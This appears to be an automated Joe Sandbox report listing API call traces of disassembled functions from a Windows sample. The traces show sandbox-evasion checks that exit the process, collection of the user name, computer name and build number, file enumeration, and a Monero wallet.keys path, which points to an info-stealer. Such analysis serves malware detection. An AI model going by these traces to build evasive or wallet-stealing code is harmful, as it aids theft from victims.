Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: ef0e4529f467f6c4df7bbe94e03b4b1c3d307ce0c48735f0912efcbca75bf027
Instruction ID: 9bd85ae7bef5be62aea305b5af33dcd80daba24dd378b1cec776fe07145d58b1
Opcode Fuzzy Hash: ef0e4529f467f6c4df7bbe94e03b4b1c3d307ce0c48735f0912efcbca75bf027
Instruction Fuzzy Hash: F4014FB5A40309BFEB14DBE0DC4AFBEB7B8FF48701F108559FA05A7281DA746A018B51

Function 005F40B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 005F40D5
RegOpenKeyExA.KERNEL32(80000001,0140FEC0,00000000,00020119,?), ref: 005F40F4
RegQueryValueExA.ADVAPI32(?,01410260,00000000,00000000,00000000,000000FF), ref: 005F4118
RegCloseKey.ADVAPI32(?), ref: 005F4122
lstrcat.KERNEL32(?,00000000), ref: 005F4147
lstrcat.KERNEL32(?,01410278), ref: 005F415B

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: ff7a24779702d7e0fd18da76df0518540c1b19d408379f930cadc27ccf6c6298
Instruction ID: aa0a70efa4705b7c217ce40700de6459e4434f740b77a9942e07133694d5864c
Opcode Fuzzy Hash: ff7a24779702d7e0fd18da76df0518540c1b19d408379f930cadc27ccf6c6298
Instruction Fuzzy Hash: E6418BB6D001096BDB28EBA0DC4AFFE773DBF88300F008559B71656181EA755B898F92

Function 005F69F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01400C60), ref: 005F98A1
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01400E28), ref: 005F98BA
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01400CD8), ref: 005F98D2
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01400ED0), ref: 005F98EA
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01400E40), ref: 005F9903
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,014091B0), ref: 005F991B
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,013F51A0), ref: 005F9933
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,013F52C0), ref: 005F994C
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01400CF0), ref: 005F9964
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01400D08), ref: 005F997C
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01400E70), ref: 005F9995
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01400BE8), ref: 005F99AD
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,013F5340), ref: 005F99C5
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01400C18), ref: 005F99DE

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005E11D0: ExitProcess.KERNEL32 ref: 005E1211

Part of subcall function 005E1160: GetSystemInfo.KERNEL32(?), ref: 005E116A
Part of subcall function 005E1160: ExitProcess.KERNEL32 ref: 005E117E

Part of subcall function 005E1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 005E112B
Part of subcall function 005E1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 005E1132
Part of subcall function 005E1110: ExitProcess.KERNEL32 ref: 005E1143

Part of subcall function 005E1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 005E123E
Part of subcall function 005E1220: __aulldiv.LIBCMT ref: 005E1258
Part of subcall function 005E1220: __aulldiv.LIBCMT ref: 005E1266
Part of subcall function 005E1220: ExitProcess.KERNEL32 ref: 005E1294

Part of subcall function 005F6770: GetUserDefaultLangID.KERNEL32 ref: 005F6774

Part of subcall function 005E1190: ExitProcess.KERNEL32 ref: 005E11C6

Part of subcall function 005F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005E11B7), ref: 005F7880
Part of subcall function 005F7850: RtlAllocateHeap.NTDLL(00000000), ref: 005F7887
Part of subcall function 005F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 005F789F

Part of subcall function 005F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7910
Part of subcall function 005F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 005F7917
Part of subcall function 005F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 005F792F

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014090B0,?,0060110C,?,00000000,?,00601110,?,00000000,00600AEF), ref: 005F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 005F6AE8
CloseHandle.KERNEL32(00000000), ref: 005F6AF9
Sleep.KERNEL32(00001770), ref: 005F6B04
CloseHandle.KERNEL32(?,00000000,?,014090B0,?,0060110C,?,00000000,?,00601110,?,00000000,00600AEF), ref: 005F6B1A
ExitProcess.KERNEL32 ref: 005F6B22

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: f8aeec727ea35323bc2438b55043311d348b2a591ae3f29e0c019392a75a85bc
Instruction ID: b2ac8746abec9c3a0b36b4b412a04d40ee02600b40f68ea85f37072edad41b27
Opcode Fuzzy Hash: f8aeec727ea35323bc2438b55043311d348b2a591ae3f29e0c019392a75a85bc
Instruction Fuzzy Hash: 8631EF7190010EABDB08F7A0DC5AABE7B78BF94380F104528F356A6191DFB85505C6A7

Function 005E99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005E99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 005E9A11
LocalAlloc.KERNEL32(00000040,?), ref: 005E9A31
ReadFile.KERNEL32(000000FF,?,00000000,005E148F,00000000), ref: 005E9A5A
LocalFree.KERNEL32(005E148F), ref: 005E9A90
CloseHandle.KERNEL32(000000FF), ref: 005E9A9A

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 36815791c22d20f5fe35e05622ed6bbae0e19ed550fdbf7fb112ba52616bcaf4
Instruction ID: 7e84314f14ad92bf4375d230c04fc84c886649357190e4b5d394b613c8e79650
Opcode Fuzzy Hash: 36815791c22d20f5fe35e05622ed6bbae0e19ed550fdbf7fb112ba52616bcaf4
Instruction Fuzzy Hash: 60312DB4A00209EFDB28CF95D985FAE7BF5FF48340F108168E915A7290D778A941CFA1

Function 005F4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0140FFC0), ref: 005F47DB

Part of subcall function 005F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

lstrcat.KERNEL32(?,00000000), ref: 005F4801
lstrcat.KERNEL32(?,?), ref: 005F4820
lstrcat.KERNEL32(?,?), ref: 005F4834
lstrcat.KERNEL32(?,013FB3F8), ref: 005F4847
lstrcat.KERNEL32(?,?), ref: 005F485B
lstrcat.KERNEL32(?,0140FE60), ref: 005F486F

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005F8D90: GetFileAttributesA.KERNEL32(00000000,?,005E1B54,?,?,0060564C,?,?,00600E1F), ref: 005F8D9F

Part of subcall function 005F4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 005F4580
Part of subcall function 005F4570: RtlAllocateHeap.NTDLL(00000000), ref: 005F4587
Part of subcall function 005F4570: wsprintfA.USER32 ref: 005F45A6
Part of subcall function 005F4570: FindFirstFileA.KERNEL32(?,?), ref: 005F45BD

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: cdf3abb82bbcb3f3da0d63a95a14eb3b5f6b712a6b3dacfe2bccb189f407cfe2
Instruction ID: 284ad05cd5e439ba864fe3113ae9b25a98d4f6a0c0cc022b6e2c023cbce78140
Opcode Fuzzy Hash: cdf3abb82bbcb3f3da0d63a95a14eb3b5f6b712a6b3dacfe2bccb189f407cfe2
Instruction Fuzzy Hash: 533162B690020DA7CB24F7B0DC89EF97778BF88700F404599B35996081EEB4D6898F96

Function 005E1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 005E123E
__aulldiv.LIBCMT ref: 005E1258
__aulldiv.LIBCMT ref: 005E1266
ExitProcess.KERNEL32 ref: 005E1294

Strings

@, xrefs: 005E1233

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: f906acb599eef16b9b914eb555925a22ae31820c99eb63ada60597542948eabf
Instruction ID: 89e1cb7471259b8bee99a0c70813307d8736d7ca0e5e751b36d81fc72423e7b3
Opcode Fuzzy Hash: f906acb599eef16b9b914eb555925a22ae31820c99eb63ada60597542948eabf
Instruction Fuzzy Hash: 16014BB0940348ABEB14DBE2CC49BAEBF78BB54701F208048E745B62C0D6B85645879D

Function 005F70D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

memset.MSVCRT ref: 005F716A

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 005F718C
s_, xrefs: 005F7111
s_, xrefs: 005F72AE, 005F7179, 005F717C

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: s_$s_$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-1486079241
Opcode ID: aa77062dd43d36b0922ea8669f63cfa51781d297428da7c5eb2de47674857129
Instruction ID: 6cebb119f50659f310e7a3a578d2022ce8fe3c50966b2ee09c6d0d3023b81733
Opcode Fuzzy Hash: aa77062dd43d36b0922ea8669f63cfa51781d297428da7c5eb2de47674857129
Instruction Fuzzy Hash: B7514EB0D0421D9BDB14EB90DC89BFEBB74BF48304F5045A8E61967181EB786E88CF55

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
